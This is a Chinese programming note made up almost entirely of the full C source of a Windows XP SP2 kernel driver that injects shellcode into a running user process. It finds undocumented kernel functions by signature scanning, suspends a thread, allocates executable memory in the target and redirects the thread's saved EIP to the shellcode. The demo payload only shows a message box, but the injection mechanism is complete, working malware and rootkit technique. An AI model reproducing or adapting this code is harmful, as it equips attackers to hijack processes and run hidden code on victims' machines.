Ring0 注入 Ring3 的一种新方法

  • 2019 年 11 月 21 日
  • 筆記

/***************************************************************************************  *  *    作者: Fypher [[email protected]]  *           http://hi.baidu.com/nmn714  *  *    时间: 2009/12/29  *  *    模块: InjectRing3.c [sys module]  *  *    平台: Windows XP SP2  *  *    描述:  *           Ring0 注入 Ring3 的一种新方法。  *           挂起ring3线程后,修改其TrapFrame里的eip,再恢复其执行。  *  *    注意:  *           本程序主要起示例作用,懒得麻烦,所以有些地方使用了一些不太稳定的做法,  *           比如在枚举进程和模块时直接读链表。改成ZwQueryXXXX会比较好  *  ****************************************************************************************/  #include <ntifs.h>    typedef struct _X86_KTRAP_FRAME {  	ULONG   DbgEbp;  	ULONG   DbgEip;  	ULONG   DbgArgMark;  	ULONG   DbgArgPointer;  	ULONG   TempSegCs;  	ULONG   TempEsp;  	ULONG   Dr0;  	ULONG   Dr1;  	ULONG   Dr2;  	ULONG   Dr3;  	ULONG   Dr6;  	ULONG   Dr7;  	ULONG   SegGs;  	ULONG   SegEs;  	ULONG   SegDs;  	ULONG   Edx;  	ULONG   Ecx;  	ULONG   Eax;  	ULONG   PreviousPreviousMode;  	ULONG   ExceptionList;  	ULONG   SegFs;  	ULONG   Edi;  	ULONG   Esi;  	ULONG   Ebx;  	ULONG   Ebp;  	ULONG   ErrCode;  	ULONG   Eip;  	ULONG   SegCs;  	ULONG   EFlags;  	ULONG   HardwareEsp;  	ULONG   HardwareSegSs;  	ULONG   V86Es;  	ULONG   V86Ds;  	ULONG   V86Fs;  	ULONG   V86Gs;  } X86_KTRAP_FRAME, *PX86_KTRAP_FRAME;    typedef struct _MODULE_ENTRY {  	LIST_ENTRY le_mod;  	ULONG  unknown[4];  	ULONG  base;  	ULONG  driver_start;  	ULONG  unk1;  	UNICODE_STRING driver_Path;  	UNICODE_STRING driver_Name;  	//.......  } MODULE_ENTRY, *PMODULE_ENTRY;    typedef ULONG (*FuncType)(PETHREAD Thread);    FuncType KeSuspendThread = NULL;  FuncType KeResumeThread = NULL;      ////////////////////////////////////////////////  //  //  被注入到ring3进程的代码  //  ////////////////////////////////////////////////  _declspec (naked) void ShellCode() {  	_asm {  		push eax  		// 弹个MessageBox为例  		push 0  		push 0  		push 0  		push 0  		mov eax, 0x77D66484		// MessageBoxW 的地址,XP SP2  		call eax  		pop eax  		// jmp ds:12345678H, 绝对地址跳转  		_emit 0xEA  		_emit 0x78  		_emit 0x56  		_emit 0x34  		_emit 0x12  		_emit 0x1B  		_emit 0x00  	}  }      ///////////////////////////////////////////////////////  //  //  特征码搜索,查找KeSuspendThread和KeResumeThread  //  ///////////////////////////////////////////////////////  ULONG FindFunc(PDRIVER_OBJECT DriverObject){  	UNICODE_STRING uniModuleName;  	PMODULE_ENTRY PsLoadedModuleList,pmcurrent;  	ULONG ModuleStart = 0, ModuleEnd = 0;  	ULONG i;  	ULONG suspend1 = 0x8b55ff8b, suspend2 = 0x0cec83ec, suspend3 = 0x758b5653, suspend4 = 0x8e8d5708;		//SP2  	ULONG resume1 = 0x8b55ff8b, resume2 = 0x335651ec , resume3 = 0x8815ffc9 , resume4 = 0x8b804d90;			//SP2    	// 先找ntoskrnl.exe模块,通过ZwQuerySystemInformation来查找更稳定一些  	// 不过本人很讨厌那个繁琐的函数……  	PsLoadedModuleList = pmcurrent = *((PMODULE_ENTRY*)((ULONG)DriverObject + 0x14));    	if (PsLoadedModuleList == NULL){  		return FALSE;  	}    	RtlInitUnicodeString(&uniModuleName,L"ntoskrnl.exe");    	do {  		if ((pmcurrent->unk1 != 0x00000000) && (pmcurrent->driver_Path.Length != 0)){  			if (!RtlCompareUnicodeString(&uniModuleName, &(pmcurrent->driver_Name), FALSE)){  				ModuleStart = pmcurrent->base;  				ModuleEnd = ModuleStart + pmcurrent->unk1;  				break;  			}  		}  		pmcurrent =  (MODULE_ENTRY*)pmcurrent->le_mod.Flink;  	} while((PMODULE_ENTRY)pmcurrent != PsLoadedModuleList);      	if(!ModuleStart || !ModuleEnd) {  		return FALSE;  	}    	// 在ntoskrnl.exe中搜索特征码找到KeSuspendThread和KeResumeThread  	for( i = ModuleStart; i <= ModuleEnd; i++) {  		if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+12)) ){  			if( (*(PULONG)i == suspend1) &&  				(*(PULONG)(i+4) == suspend2) &&  				(*(PULONG)(i+8) == suspend3) &&  				(*(PULONG)(i+12) == suspend4) )  			{  				KeSuspendThread = (FuncType)i;  				if ( KeResumeThread != NULL )  					return TRUE;  			}  			else if( (*(PULONG)i == resume1) &&  				(*(PULONG)(i+4) == resume2) &&  				(*(PULONG)(i+8) == resume3) &&  				(*(PULONG)(i+12) == resume4) )  			{  				KeResumeThread = (FuncType)i;  				if ( KeSuspendThread != NULL )  					return TRUE;  			}  		}  	}  	return FALSE;  }        /////////////////////////////////////////////////////////////////  ////  ////  注入ShellCode到线程,将ShellCode拷贝到“飞地”中,  ////  比较方便,避免是分配内存和AttachProcess,但是在非  ////  Debug的系统模式下,会引发DEP的强烈不满  ////  /////////////////////////////////////////////////////////////////  //VOID InjectShellCode(PETHREAD pThread) {  //	ULONG i;  //	PX86_KTRAP_FRAME pTrapFrame;  //	DbgPrint("Inject Startn");  //  //	// 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常  //	__try {  //		KeSuspendThread(pThread);  //	}  //	__except(1) {  //		return;  //	}  //  //	// PTrapFrame中就是该线程的各个寄存器的值  //	pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + 0x134);  //  //	// 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回  //	for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {  //		if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){  //			if ( *(PULONG)i == 0x12345678 ) {  //				DbgPrint("find modify pointn");  //				*(PULONG)i = pTrapFrame->Eip;  //				break;  //			}  //		}  //	}  //  //	// 拷贝ShellCode到“飞地”(使用内核地址)  //	RtlCopyMemory( (PVOID)0xffdf0800, ShellCode, 0x20 );  //  //	// pTrapFrame->EIP指向“飞地”(使用用户态地址)  //	pTrapFrame->Eip = 0x7ffe0800;  //  //	// 恢复线程执行  //	KeResumeThread(pThread);  //	DbgPrint("Inject Endn");  //}        ///////////////////////////////////////////////////////////////  //  //  注入ShellCode到线程,分配内存来拷贝ShellCode  //  ///////////////////////////////////////////////////////////////  VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess) {  	ULONG i;  	PX86_KTRAP_FRAME pTrapFrame;  	PCLIENT_ID  pCid;  	OBJECT_ATTRIBUTES oa;  	HANDLE hProcess;  	NTSTATUS ntstatus;  	DbgPrint("Inject Startn");    	// 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常  	__try {  		KeSuspendThread(pThread);  	}  	__except(1) {  		return;  	}    	// PTrapFrame中就是该线程的各个寄存器的值  	pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + 0x134);    	// 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回  	for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {  		if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){  			if ( *(PULONG)i == 0x12345678 ) {  				DbgPrint("find modify pointn");  				*(PULONG)i = pTrapFrame->Eip;  				break;  			}  		}  	}    	// 下面的代码是分配空间来放置ShellCode  	// 调用一些相应函数来实现更好,我比较懒,就硬编码了  	InitializeObjectAttributes(&oa,0,0,0,0);  	pCid = (CLIENT_ID*)((ULONG)pThread + 0x1ec);		// Cid 	XP SP2  	ntstatus = ZwOpenProcess(  		&hProcess,  		PROCESS_ALL_ACCESS,  		&oa,  		pCid  		);  	if ( NT_SUCCESS(ntstatus) ) {  		PVOID pBuff = NULL;  		SIZE_T size = 0x20;  		ntstatus = NtAllocateVirtualMemory(  			hProcess,  			&pBuff,  			0,  			&size,  			MEM_RESERVE | MEM_COMMIT,  			PAGE_EXECUTE_READWRITE  			);  		if( NT_SUCCESS(ntstatus) ) {  			KAPC_STATE kapc;  			// 拷贝ShellCode到目标进程中去  			KeStackAttachProcess(pProcess,&kapc);  			RtlCopyMemory(pBuff,ShellCode,size);  			KeUnstackDetachProcess (&kapc);  			// pTrapFrame->Eip指向ShellCode  			pTrapFrame->Eip = (ULONG)pBuff;  		}  		ZwClose(hProcess);  	}  	// 恢复线程执行  	KeResumeThread(pThread);  	DbgPrint("Inject Endn");  }      ////////////////////////////////////////////////  //  //  注入ShellCode到进程  //  ////////////////////////////////////////////////  VOID Inject(char* strProc, int len) {  	PEPROCESS pProcess;  	PETHREAD pThread;  	PLIST_ENTRY pListHead, pNextEntry;  	PLIST_ENTRY pThListHead, pThNextEntry;      	pProcess = PsGetCurrentProcess();  	pListHead = (PLIST_ENTRY)((ULONG)pProcess + 0x88);		//ActiveProcessLinks  	pNextEntry = pListHead;    	// 先找到要注入的进程,通过ZwQuerySystemInformation来查找更稳定一些  	// 不过本人很讨厌那个繁琐的函数……  	do {  		pProcess = (PEPROCESS)((ULONG)pNextEntry - 0x88);  		if ( !_strnicmp((char*)pProcess + 0x174, strProc, len) ) {  			DbgPrint("find processn");  			pThListHead = (PLIST_ENTRY)((ULONG)pProcess + 0x190);		// ThreadListHead, XP SP2  			pThNextEntry = pThListHead->Flink;  			while ( pThNextEntry != pThListHead) {  				// 接着查找符合条件的线程  				UCHAR SuspendCount;  				ULONG CrossThreadFlags;    				pThread = (PETHREAD)((ULONG)pThNextEntry - 0x22c);		// ThreadListEntry, XP SP2    				SuspendCount = *(PUCHAR)((ULONG)pThread + 0x1b9);  				CrossThreadFlags = *(PULONG)((ULONG)pThread + 0x248);    				if( !SuspendCount && !(CrossThreadFlags & 0x13) ) {		// 非Suspend,非退出态,非内核线程  					DbgPrint("find threadn");    					// 注入找到的线程  					InjectShellCode(pThread,pProcess);  					break;  				}  				pThNextEntry = pThNextEntry->Flink;  			}  			break;  		}  		pNextEntry = pNextEntry->Flink;  	} while(pNextEntry != pListHead);  }        ////////////////////////////////////////////////  //  //       驱动卸载历程  //  ////////////////////////////////////////////////  VOID OnUnload(IN PDRIVER_OBJECT o){  	DbgPrint("Fypher's ring3injector end!n");  	return;  }        ////////////////////////////////////////////////  //  //       驱动加载历程  //  ////////////////////////////////////////////////  NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath){  	char* strProc = "winmine.exe";    	DriverObject->DriverUnload=OnUnload;  	DbgPrint("Fypher's ring3injector start!n");    	if ( !FindFunc(DriverObject) ) {  		DbgPrint("Find KexxxThread failed!n");  		return STATUS_UNSUCCESSFUL;  	}    	Inject(strProc, strlen(strProc));    	return STATUS_SUCCESS;  }